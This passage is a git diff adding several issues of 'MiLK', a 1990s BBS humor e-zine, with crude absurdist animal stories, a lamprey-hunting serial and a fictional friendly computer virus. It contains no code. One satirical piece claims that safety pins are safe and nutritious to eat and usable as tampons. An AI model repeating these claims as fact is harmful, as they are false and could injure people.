hopped for dear +life. I hopped until I couldn't hop no more. Then I hopped some more. By +the time I was all hopped out I was in the forest, where a lot of my friends +lived. I decided to go find a few of them and hang out with them for the day. + That's where this wolf guy comes in. I was so tired out, when he jumped +out at me, I had no where to go. I was too winded to run away. So here I am, +about to be eaten, and I can't do a flying fuck about it. You know, life +really sucks sometimes. + +--- Will Wank Bunny Survive the Wolf? --- +--- Will The Evil Humans Recapture him? --- +--- Will You Have Herpes from that One Night stand last Oct.? --- + +All these, and more questions, will be answered in the Next +exciting "Wank Bunny" text file! + +-MiLK- '94 + + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MiLK] InformationÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +[MiLK] Sights - Barney's Pleasure Palace! (708)965-3098 + The Lunatic Phringe (708)232-0565 + +[MiLK] Member Listing - James Hetfield + Nyarlathotep + Epic + Plaid Wilderbeast + Mendeleev + +[MiLK] Issue Number - 14 +[MiLK] Issue Size - 5750 Bytes +[MiLK] Date of Production: 2/24/93 + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄSnoopy Is A Demi-God; Just Ask Him!ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + diff --git a/textfiles.com/magazines/MILK/milk-015.txt b/textfiles.com/magazines/MILK/milk-015.txt new file mode 100644 index 00000000..a16ee414 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-015.txt @@ -0,0 +1,89 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue #15 Û Û +Û²²²²²²²²²Û illicit "Wank Bunny: Part II" Û²²²²²²²²²Û +Û²²²²²²²²²Û Liquid By James Hetfield Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + Yeah, I bet you really thought I was finished when I +was in the jaws of that wolf, didn't you? Actually, probably +not, because if I wasn't I wouldn't be alive to tell you this +story, now would I? And by the way it is written, you know +it's not divinly inspired, so I must still be alive to write +it. Now how bunny rabbits type out stories is a whole other +story, which I might tell you some other time. + There I was, about to be lunch, when suddenly this +human runs up and kicks the wolf! The wolf goes running away +into the forest, whining the entire way! I had never had a +human HELP me before, so this was quite an inspiring act... +they mught actually do good in this world after all! + Well, this human was a female, just springing into her +womanhood at the age of 21. The other humans called her +Nicole, but I just thought of her as my human friend, because +I always thought the way that humans identify themselves is +stupid anyways... it never tells you about them at all. + At this point I was bleeding quite a bit at the areas +the jaws of the wolf was holding me. My Human Friend took me +into her house and put some stuff on the wounds that REALLY +hurt, but they healed faster and didn't get all disgusting +like wounds tend to do. Then she put me into one of her human +rooms and started talking into some platic thing... and then +she yelled a lot and then cried! I don't know what was wrong +with her, the plastic thing seemed to be talking back to her, +but apparently not giving her the answers she wanted to hear. +Finally, she put the plastic thing down, and after a few +minutes of weeping, she looked at me. + "You know, sometimes I wish I was like you.. you don't +have the kind of problems we do..." she sighed. + Yeah, humans are crazy. They think they have it SO +hard off... but THEY don't have to fight for their survival +every day... THEY don't have to worry about the powers of +nature attacking them, they have conquered it. They just like +to bitch a lot, I guess. + So anyways, after she said this she tossed me back +outside, and closed the door behind her. I guess she didn't +want too much to do with me. Well, I'm happy about that, I +guess. Humans are more of a pain then they're worth. + So That's my story. lately I've been thinking about +writing myself a book or something, you know, about me. What +do you think? would it sell? Would people at least read it? +maybe then you humans would understand *MY* problems. I'll +talk about all the hardships *I* go through in my life... So, +watch for my book. Out in your favorite bookstores soon... oh +yeah! I almost forgot to tell you! My story about the +bookkeeper! + Ok, well, a few weeks after My Human Friend helped me +out, I was hopping around the good ol' berbs of Chicago when I +came upon this big building... it was right near the lake.. I +don't remember what the humans called it, Krocks and +Britannias or something, but there were a LOT of books in this +place. Me being the Enthusiastic learner I am hopped in to +look around. I played around on the big moving stairs and +stuff for a while, and then noticed some humans playing around +on them too! All these people did were go up and down and up +and down and over and over! I didn't know humans played with +their own inventions... I found them all very silly, to tell +you the truth. But I'll leave the story about THEM for +another time... + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MiLK] InformationÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +[MiLK] Sights - WHQ - Barney's Pleasure Palace! (708)965-3098 + DiSt- The Lunatic Phringe (708)232-0565 + Entropy (708)205-0935 + Mech World (708)757-0116 + + +[MiLK] Member Listing - James Hetfield + Nyarlathotep + Epic + Plaid Wilderbeast + Mendeleev + +[MiLK] Issue Number - 15 +[MiLK] Issue Size - 4994 Bytes +[MiLK] Date of Production: 2/24/93 + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄPress ALT to activate menusÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + diff --git a/textfiles.com/magazines/MILK/milk-016.txt b/textfiles.com/magazines/MILK/milk-016.txt new file mode 100644 index 00000000..334f168c --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-016.txt @@ -0,0 +1,100 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue #16 Û Û +Û²²²²²²²²²Û illicit "Ostrich Rider from Philidelphia" Û²²²²²²²²²Û +Û²²²²²²²²²Û Liquid By Medicine Man Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + The time is forty six billion B.C. A group of cave men got +together and their head leader ooga rose and said "Oog naga soog zee +ma zan." which in term ment a forshadowing of a great hero was a +rising... then Zaga, a warrior of that trip stood and said his mate +was bearing a child. Ooga though maybe this might be the one? About +2 weeks later, Zaga's mate gave birth to a boy. Zaga showed the boy +to Ooga. Ooga looks at the kid's foot and undernieth was a symbol +of a ostrich. + It's now present day in philidelphia, a young business was +getting redy for another days work. He finished his coffee and +left his apartment. He gets in his BMW and drives. He hears a voice in +head that said ostrich. He was wondering what that meant. Now Bogan +(the young business) thought he might me hearing voices so he goes to +a shrink to have it examined, but on his way there he hears it again. +The voice was really loud this time and scared him to drive of the +road and into a ditch. The voice was that of Ooga. As he is lifted +up in a stretcher, His BMW disappears for no odd reason. Bogan recovers +in about 1 week, but he still ponders on what that ment when he heard +that voice. He desides to go to the zoo and read about the ostrich's. +he reads that they are the fastest bird that can't fly. as he reads +that.. an ostrich pokes him in the shoulder then bends down as if he +want him to ride the ostrich. So bogan gets on the ostrich and rides +in. As he is riding the ostrich he notices that the ostrich takes off +into mid air and off the planet. He is wondering how he is breathing +in mid outerspace. The ostrich is moving at a super fast rate and they +near a planet that is a gold shape. As they enter the atmosphere, they +are attacked by a flying pokadot dragon that swoops at them and misses +taking a bit. They land near a cave and in the cave were the spirits +of the acient tribe of the ostrich riders. Ooga was there but was the +only one clearly visible to bogan. The others were foggy creatures just +siting around. Ooga approaches him and asks "Do you know why I brought +you here?" + "No." Bogan replies. + "You have come of age, it's your 21st birthday right?" + "why yes, it is, but how did you know?" + Ooga doesn't respond to that question. he gives him a look. + "Let me see your foot." Ooga asks. + Bogan shows him his foot and there is that symbol of the ostrich. + "you are the choses one." Ooga tells bogan. + "chosen on? of what?" + "you are a desendent of the greatest warrior Zaga, you are to free +our souls from this cave prison. You must defeat the evil one on top of this +mountain. The trip is long and hard, but I have great faith in you." + "Wait... I am just a business man, how do I do any of this, I am not +a warrior. i don't know the first thing about fighting." + "I have faith in you. Please free our souls." Ooga says as he +dissappears. + "WAIT, WAIT, how do I find the enterence?" as bogan says that, a +door opens at the edge of the cave. + "I guess that's the enterence." + He jumps on the ostrich and rides into the enterence. as he enters +he sees what looks like a whole new world. Like a dementional portal. he +looks around then looks at himself and notices he is only in a g-String and +his suit is gone and he is now very muscular like he was a whole new person. +He stars in awe at the sight of seeing flying dragons circle around the +ceiling of this awsome cave. He hears a little rumble in the bushes. + He gets off to take a look and as he does.. The rumbling stops and +he see's a little green monster run. He rides the ostrich a little longer +then he comes across a village inside this mountain. A gorgious babe walks +toward him with lust in her eyes as if she has never seen a man before. On +her shoulder is a cute little fuzzy green creature, like the one that was +in the bushes. She wonders what his business is in this cave, and he tells +her everthing about what the old man told him and she understood. They enter +her hut to get a little rest for tommarrow. as they sleep they are disturbed +by a weird looking creature. It tried to attack the ostrich but it ran away. +The monster looked like a boar/rhinosaurous, It charged at him and he jumps +out of it's way. He looks to his left and see's a broad sword that just +appeared out of no were. He swings at the boar and it dissappears, no blood +no nothing. And it vanished.. his ostrich returns, he decides a name for +it. <--To Be Continued--> + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MiLK] InformationÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +[MiLK] Sights - WHQ - Barney's Pleasure Palace! (708)965-3098 + DiSt- The Lunatic Phringe (708)232-0565 + Entropy (708)205-0935 + Mech World (708)757-0116 + + +[MiLK] Member Listing - James Hetfield + Nyarlathotep + Epic + Plaid Wilderbeast + Mendeleev + Medicine Man + +[MiLK] Issue Number - 16 +[MiLK] Issue Size - 6173 Bytes +[MiLK] Date of Production: 3/1/93 + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄPress ALT to activate menusÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + diff --git a/textfiles.com/magazines/MILK/milk-017.txt b/textfiles.com/magazines/MILK/milk-017.txt new file mode 100644 index 00000000..79331ce1 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-017.txt @@ -0,0 +1,93 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue #17 Û Û +Û²²²²²²²²²Û illicit "Jest Fox: Part 1?" Û²²²²²²²²²Û +Û²²²²²²²²²Û Liquid By BLACK JUSTICE Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + Well this is the first time I am writing for MiLK, so I hope you like +this shit story. Well at least I am no longer a Warez Freak! + + Jest Fox : Part 1 + + I sunk my teeth into another juicy Wabbit, as it kicked and moaned. +Everyday I kill at least 4 rabbits. They are the best animals to kill for a +meal. First because they are small. Second because they can't run very fast. +And third of all, you can find them usually sitting under a tree chomping +on a carrot, except the Wank Bunny. You can find it usually rolling around +with an orange. + + I am the Jest Fox. In the dictionary Jest means..... Hold on, let +me get my Webster's New World Dictionary. Ah, here we go: + + JEST (jest) n. [< L. gerere, perform] + 1. a mocking remark; taunt 2. a joke + 3. fun; joking 4. a thing to be laughed + at -vi. 1. to jeer 2. to joke + + Well, as you can see, before I kill my delicious rabbits for a meal, +I always tell them a joke. I memorized a whole ton of them from the Truley +Tasteless Jokes Collection. When ever I have nothing to do, I go to the book +store and start to read the joke books, but the store manager always kicks me +out because I drool all over the floor and the book. Joke are my favorite. +Here I got one for you: Why do gorillas have such big nostrils? Just look +at the size of their finger. He he.. I really like that one. Well anyways +let me get on with the story. + + It was yesterday when the most scrumdiddlyumptious thing happened to +me. I got up in the morning and went searching for a rabbit. When I saw one +eating a carrot like usual, I sneeked up behind it and was about to sink my +teeth into it, but at that moment, It took a big poop on my face! I couldn't +breath through my nose because the poop was clogging my nostrils and when I +tried to breath through my mouth, I could only breath in the smell that came +from the poop. Well, since I couldn't really do anything, I did only thing I +could think of and that was to try and pick my nostrils with my claws. I +stood there trying to dig a hole in the pile of poop that was filling up my +nose. I was running out of oxygen. And my claws couldn't pick the poop out +of my nose! But then all of a sudden, just like a miracle, I sneezed the +biggest, slimiest sneeze you could sneeze and it felt great! All the poop +shot right out of my nose and smacked the rabbit dead. I went over to the +rabbit and looked at it. It didn't move. I was sure it was dead and was +about to devour it when I realized that if I ate the rabbit, I would also be +eating the poop that hit it. I decided not to eat it, but I had to do +something about the poop stain that was smelling up my whole face. + + I ran into town and looked for a wet napkin or something like that. +I was frantic. Every where I went the so called humans were kicking me and +pinching their nostrils. I saw a girl who had just walked out of Mc Donlads +with her new Sonic plastic, rip off toy that didn't work. Her skirt was wet, +probably because she spilled some coke while she was eating. I ran up to her +and shoved my nose on to her skirt. All of a sudden her dad picked my up by +my tail and smashed me on to the sidewalk. Then he kicked me and threw me out +into the middle of the street where a car ran over me. + + I was falling, falling, falling, then SMASH! I hit the ground like a +pancake being smashed by a frypan. + + I had two burning questions. Where was I and um,.... O.K. fine one +burning question. + + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MiLK] InformationÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +[MiLK] Sights - WHQ - Barney's Pleasure Palace! (708)965-3098 + DiSt- The Lunatic Phringe (708)232-0565 + Entropy (708)205-0935 + Mech World (708)757-0116 + + +[MiLK] Member Listing - James Hetfield + Nyarlathotep + Epic + Plaid Wilderbeast + Mendeleev + Medicine Man + Black Justice + +[MiLK] Issue Number - 17 +[MiLK] Issue Size - 5184 Bytes +[MiLK] Date of Production: 3/12/93 + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄo O o O o O o O o O o O o OÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + diff --git a/textfiles.com/magazines/MILK/milk-018.txt b/textfiles.com/magazines/MILK/milk-018.txt new file mode 100644 index 00000000..4e0996b6 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-018.txt @@ -0,0 +1,132 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue #18 Û Û +Û²²²²²²²²²Û illicit "Pete: Part ][" Û²²²²²²²²²Û +Û²²²²²²²²²Û Liquid By Nyarlathotep Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + As we left off, Pete was at Linda's house, enjoying a wonderful +grilled cheese sandwiche as they were waiting for the lampreys to +attack. Well that is now a bit behind us, as it is now month later. +Pete and Linda have begun seeing each other on a regular basis (A +Lamprey hunting couple can mean nothing but trouble...), and most of the +time it involved Machetes and the rolling heads of diabolical, primitive +fish. + On the Lamprey end of things, the lesser Land Lamprey company +leader who didn't kill Pete when He had a chance had since been +beheaded, as had the 2-headed Venemous Lamprey. Its now a 1-headed +Venemous Lamprey. + In this chapter of the saga, we shall learn a bit more about +the evil Lampre Plan, see a death dealing Lamprey Hunting couple at +work, and learn the secret recipe for buttercakes. To this day I do not +know how Linda learned the method from Peacefrog, as far as I kn +ow they +don't know each other... + + Pete 2: Tra-La-Lollipop + + Pete awoke to a cool breeze and carefully got out of bed, as to +not disturb Linda, sleeping peacefully next to him. No, they didn't +have sex, they just fell asleep together after a long day of lamprey +bashing. + "Uh oh," he though, "Forgot to call mom and tell her Im +allright!. ARGH!!! She's probably worried sick!" + He gave here a call, and sure enough she was going crazy +wondering where he was. + "Im safe and at Linda's mom" said Pete. + "Hmm, I don't know about you spending so much time with that +woman Pete.." + "Mom, I'm not a little kid anymore!" + "And spending the night, what would you father say?" + "Mom! Listen, I'm grown up, I have my own life. I realize I +that up until recently I didnt make the really clear, but its true. I'm +sorry, but you're gonna have to accept it!" + "Well, sweetie, remember that I'm always here for you" replied +Pete's mom, and she hung up. + When Pete returned from making the call, he found Linda up and +about, cooking breakfast. + "Buttercakes," she said. "You basically cook each pancake in its +own personal puddle of butter tastes great..." + "Ya know, sometimes I wonder if you're trying to give me + cholesterol poisoning." Pete joked. + "Hey, you work hard hon, you need a treat every now and then!" + + ************************************* + + Pete and Linda were going out on another expidition that day, to +try and locate the lamprey fortress where Pete was imprisoned last +month. He really didn't have any idea where it was, considering how fast +he ran, and the pressure he was under, but they figgured they might as +well give it a shot. + The two spent all day walking through the woods, semi-automatic +shotguns at hand, on the lookout for their deadly foes. Finally near +dusk, Pete noticed a peculiar rock in the ground. When he went to +investigate it, it turned out to be a secret door. The fearless duo +descended the hole underneath via a sturdy rope. + Linda ignited her flashlight when she reached the bottom, and +Pete soon did the same. The tunnel appeared to be of lamprey +architecture, and was barely large enuff for them to crawl through, not +a good position to be in the encounterd a patrol. Regardless, the two of +them crept through, machete's at hand. + As luck would have it, they were actually in an air-duct, but +they did not know this. They crawled around it for around half an hour +before the came to a grill. Pete peered through it, and saw a room +with a table table filled with various classes of Lampreys. At one end +he saw what looked like the biggest Mental Lamprey he had ever seen. +This thing was at least 6 feet long and 6 inches wide. + Pete figured that he could kill around 50 lampreys with his +shotgun, but knew it would be futile, as it would bring the whole house +down on him and Linda. Instead he decided to listen to what was going on +down there. Linda crept up to listen as well. + "... and as we have had so much succes with the Crystal Pepsi +Program, General, we have come up with a new plan." said one of the +Lampreys. + "Excellent," said the large Mental Lamprey, "please go on +commander" + "Well sir, it is along the same lines. We plan to introduce +another clear drink product, this time an alcoholic beverage. This +product we shall call Zima, and best of all, it shall taste good +to humans!" + "Muahahahahahah! I like it!" thundered the Mental Lamprey. + "Oh shit," thought Pete, "this sounds bad indeed. Perhaps if +we finish them all off now, the plan will not get out" + "Linda," Pete wispered, "On my mark, open fire and kill as many +of those buggers as you can. Its gonna be a bitch to get out, but we +must try to save humanity!" + "Sounds good to me" + "One. Two. Three. FIRE!" + The two hunters let loose a deadly volley of shotgun pellets, +ripping the amasses Lampreys to shred, sending blood and guts everywhere. +However they had time to sound the alarm. + Pete and Linda began to flee down the tunnel, scrambling to reach +the vent to the surface, and safety. + + + + Will the heroic Duo make it out alive? Are there anymore recipes to +come? What's up with Pete's mom anyways? Stay tuned for more Lamprey +Hunting madness. + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MiLK] InformationÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +[MiLK] Sights - WHQ - Barney's Pleasure Palace! (708)965-3098 + DiSt- The Lunatic Phringe (708)232-0565 + Entropy (708)205-0935 + Mech World (708)757-0116 + + +[MiLK] Member Listing - James Hetfield + Nyarlathotep + Epic + Plaid Wilderbeast + Mendeleev + Medicine Man + Black Justice + +[MiLK] Issue Number - 18 +[MiLK] Issue Size - 6948 Bytes +[MiLK] Date of Production: 3/12/93 + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄo O o O o O o O o O o O o OÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + diff --git a/textfiles.com/magazines/MILK/milk-019.txt b/textfiles.com/magazines/MILK/milk-019.txt new file mode 100644 index 00000000..82cb2cff --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-019.txt @@ -0,0 +1,87 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue #19 Û Û +Û²²²²²²²²²Û illicit "Jest Fox : Part 2" Û²²²²²²²²²Û +Û²²²²²²²²²Û Liquid By Black Justice Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + Well I can't believe that you actually wanted to read more of this +Junk. It might not be the best ending but who cares? Oh well let me get on +with the story.... Where was I? Ah yes, now I remember. + + Jest Fox : Part 2 + + As I was saying, I hit the bottem of this endless pit with a SPLaT! +Where was I? I looked around me and saw... I FROZE to death. I was in HELL! +But as I looked more carefully I saw that I was not in the Hell full of Ghosts +and Demons but a Hell full of.. LaMPREYS! Lampreys were everywhere! But +these were no ordinary Lampreys, these were the Demonic Lampreys! They would +gouge each others eyes out for fun. EWWW! Well as I used my brilliant brain +and started to search through my special hard cover handbook of BLaH #42 : The +Guide to Lampreys. But I froze in horror! The Guide book did not review over +Demonic Lampreys! + But ahh yes, I remember reading that one issue of [MiLK]. It must have +been [MiLK] issue #6 "Pete" by Nyarlathotep.<-- One heck of a person! +(Nyarlathotep is the person who wrote BLaH #42! Why don't you download BLaH +#42 from Barney's Pleasure Palace at (708)965-3098?) Well I remembered the +moral of that story which was.. Hold on let me remember. Oh yes the moral was +: Notice this is in quotes!! --> "THIS IS WHAT NOT TO DO ON A LAMPREY HUNT: +NEVER, NEVER, NEVER LEAVE YOURSELF UNDEFENDED" Well I wasn't on a lamprey +hunt but I guess it turned out that way. I had my trusty weapon beside me +which was My TeeTH! And I was luckey I was small because then the Lampreys +wouldn't be able to hear me, and also they couldn't see me because they had +bad eyesight. + As I snuck around frantically looking for an exit,the vicious 2 headed +venomous Lamprey saw me! He caught me by my head, so I couldn't use my teeth +to bite the fuck out of it. I was completely help less. It bashed me against +the hard concrete floor which SPLaTtered my body, but I felt O.K. because I +had just used LSD! Thank god I am not drug free! Well as I didn't feel any +pain, all of the Lampreys came over to me and started to bite the crap out of +me, spit acid on me, and worst of all the Sick Lamprey Vommitted on me! I was +torn from legment to legment. I had died.. .. but then +all of a sudden I saw a light. It bursted open the darkness that covering me. + It was the Mighty bunny god! It said "JEST FOX MY ENEMY. I WILL GIVE +YOU ONE MORE LIFE TO LIVE IF YOU PROMISE NOT TO EAT THE FURRY, FLUFFY BUNNY +RABBITS BUT TREAT THEM WITH KINDNESS. ESPICALLY THE WANK BUNNY." What did I +say? I said HELL YEAH.. I mean sounds like a deal to me. All of a sudden my +body was transported to the upper world. (Kinda like the transport thing a ma +bobs that is on Star Trek.) + Well here I am now still eating those jucy rabbits. (If not well shut +up and listen) Well I guess you are wondering why the Bunny God has not beat +the shit out of me yet. Well let me tell you something, the Bunny God came +back to me after he had transfered me back to Earth. And by golly I was +starving and did not have enough energy to search for another rabbit, so I +just bit the shit out of the Bunny God so he go bye bye. + Well my next target is to eat the..umm.. EASTER BUNNY! That bastard +that runs around handing out those smashed eggs with spit inside. + Well I hope I don't ever come in contact with the Wank Bunny because +who the hell knows what that crazy bunny might do. Well I gotta go and take +my daily shit. Until I over come my fear of Wank Bunny I won't be talking to +you people any more. + + Oh yeah every story has to have a moral so here is mine: Eat everything +that you come in sight with! + +øøøøøøøøøøøøøøøøøøøøøøøøøøøøø[MiLK] Informationøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøø + +[MiLK] Sights - World HQ - Barney's Pleasure Palace! (708)965-3098 + Cool DiST- The Lunatic Phringe (708)232-0565 + Entropy (708)205-0935 + Mech World (708)757-0116 + +[MiLK] Member Listing - James Hetfield + Nyarlathotep + Epic + Plaid Wilderbeast + Mendeleev + Medicine Man + Black Justice + +[MiLK] Issue Number - 19 +[MiLK] Issue Size - 5442 Bytes +[MiLK] Date of Production: 3/15/94 + +øøøøøøøøøøøøøøøøøWho took the Cookie from the Cookie Jar?øøøøøøøøøøøøøøøøøøøøø + diff --git a/textfiles.com/magazines/MILK/milk-020.txt b/textfiles.com/magazines/MILK/milk-020.txt new file mode 100644 index 00000000..e474e536 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-020.txt @@ -0,0 +1,96 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue #20 Û Û +Û²²²²²²²²²Û illicit "The Terrific Safety Pin" Û²²²²²²²²²Û +Û²²²²²²²²²Û Liquid By Epic Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + + Safety pins are just way cool things. It would take a very wise man a +very long time thinking to realize just how way cool they are. How cool are +they, you ask? Well, they are WAY cool. + + Just think of all the fun things you could do with a safety pin of +your very own. Why, the possibilities are endless. Forget about going to the +mall, forget about going to concerts, forget about sitting at home picking your +nose in front of the computer, the miraculous safety pin will change your life. +It's amazing what that little twisted sinew of metal will do for your physical, +emotional, and social well-being. It's just fucking cool. Wear them on your + clothes. They are especially good for replacing broken seams, or just +adding interest to a bland shirt, necklace, or even a sock. Put them in your +hair. Use them instead of shoelaces. I personally believe that the safety pin is +the most incredible thing in fashion since wooden clogs came on the scene. Aside +from decorations from normal clothing, these wonderful objects can be used in +just about any form of jewelry, ranging from earrings, to cock rings. And think +of the protective benefits from wearing safety pins! It is a little known fact +that in medieval times, they fashioned chain mail out of linked safety pins, +providing a protection from any arrow or blade superior to any other alloy. + + Chew on them for fulfillment. They are even tasty for an after-school +snack. Safety pins are very nutritious also, they have no sodium, no +cholesterol, no strychnine, no fat either! You can munch on your supply of +safety pins constantly for weeks with no ill effects. Think of the +possibilities! One large bag of safety pins could provide nourishment for +thousands of starving people! + + Even if you have a very turbulent stomach, the safety pin will not +unhook inside of you. They are so safe, they are used as discount tampons in +some third-world countries. How safe can you get? They are called SAFETY pins +for god's sake. Keep them with you at all times to prevent anything bad from +happening. + + Safety pins will always insure your safety. Don't bother paying huge +premiums on insurance, safety pins will prevent car accidents, fires, and even +theft. Just the presence of something as cool as a safety pin will direct evil +away from you. That's right, no more freak blender or sprinkler accidents, no +more spilled milk. Safety pins will stop you from getting nicked with a razor +while shaving. They will also alert you of tampered Pepsi cans. It's worth so +much, to have this utter feeling of wholeness, completeness, and overall +security. + + The widespread use of safety pins could end virtually all of the +world's problems. Safety pins would put an end to corruption in governments +across our planet. Safety pins are the answer to the hole in the ozone layer. +With proper funding, safety pins could be used to successfully discover the cure +for herpes simplex, cancer, even AIDZ. Safety pins drastically reduce crime +rates everywhere. They would provide cheap housing for all of the homeless. They +could put young adults through college, and get them started onto a path of +fulfillment. Safety pins would end religious persecution, when everyone just +realizes how cool they are. Safety pins are even better than safety belts, +safety windows, and safety seals on medicine. I could go on for many more moons +on how safety pins will improve your life, but I'll let you take the plunge and +try them out for yourself. Your life will never be the same, and you will have +only the hinged messiah to thank. + + In conclusion, I would like to reiterate that safety pins are just cool. +I hope you enjoyed this badly written text, and I hope you are proud of how many +times I managed to use the word "safety" in it (31 to be exact). Rest well my +sweetcakes, and dream of a brighter tomorrow. + + MeaTZ aND GReeTZ go to the all of the following: My dear MiLK brothers, +Jyro, The American Spleen Foundation, Blonad, "j", the inventor of Ovaltine, and +of course, my deer-ly belove-ed... cya all + + + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MiLK] InformationÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +[MiLK] Sights - WHQ - Barney's Pleasure Palace! (708)965-3098 + DiSt- The Lunatic Phringe (708)232-0565 + Mech World (708)757-0116 + The Acropolis (708)557-2826 + +[MiLK] Member Listing - James Hetfield + Nyarlathotep + Epic + Plaid Wilderbeast + Mendeleev + Medicine Man + Black Justice + +[MiLK] Issue Number - 20 +[MiLK] Issue Size - 5712 Bytes +[MiLK] Date of Production: 3/12/93 + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Long Live The Machine ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ diff --git a/textfiles.com/magazines/MILK/milk-021.txt b/textfiles.com/magazines/MILK/milk-021.txt new file mode 100644 index 00000000..98878435 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-021.txt @@ -0,0 +1,70 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue #18 Û Û +Û²²²²²²²²²Û illicit "Lemmy" Û²²²²²²²²²Û +Û²²²²²²²²²Û Liquid By Igor Shimsky Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + + Hello, my name is Lemmy. And I am a computer virus! Well most people think +of virii that go around deleting files and infecting memory, but I don't do +that. See I'm not a mean virus, but I'm a friendly one that really has a +sense of humor! Well to tell you about my past, I was created by the Virus +Creation Utility that some human downloaded from a BBS somewhere. He finally +made me to infect the FAT of a hard disk one day, but I the first cluster that +I hit was one of Leisure Suit Larry! I was still a young impressionable +virus that wa still open to new ideas. Well anyway after looking at the files +I realized, erasing and deletion isn't what I wanted to do! So I display some +letter on the CON driver that really seemed to piss off the human! He put in +a program by McAfee to seek and destroy me, but the dumbass human didn't +realize, was that I was just made, and virtually undetectable! So anyway. +Now I spend most of my time on a computer of a friendly female human that likes +the same kind of music I do, and well we just get along real well! Our +favorite song is the one from Second Reality of the Future Crew, but that's +off topic. I jump around her C: drive sometimes, I lay around in the data, +and every once in a while I jump around over her nice new modem to other +computers! Well the sysops of the BBSs don't know about me, but I don't cause +too much chaos! Until one day, when I landed on a evil computer that had these +really bad virii on. First that captured me, and took me to their high virus. +The ruler virus asked me where I came from, and it turns out, both of us were +created by the same guy. I was an outlaw, because I was an anarchist virus! +I did the opposite of what viruses were supposed to do! So anyway, the high +virus got some of his guard files to torture me! First they compressed me, +all of a sudden, I was no longer a COM file, but I was a squooshed ARJ file! +At least they 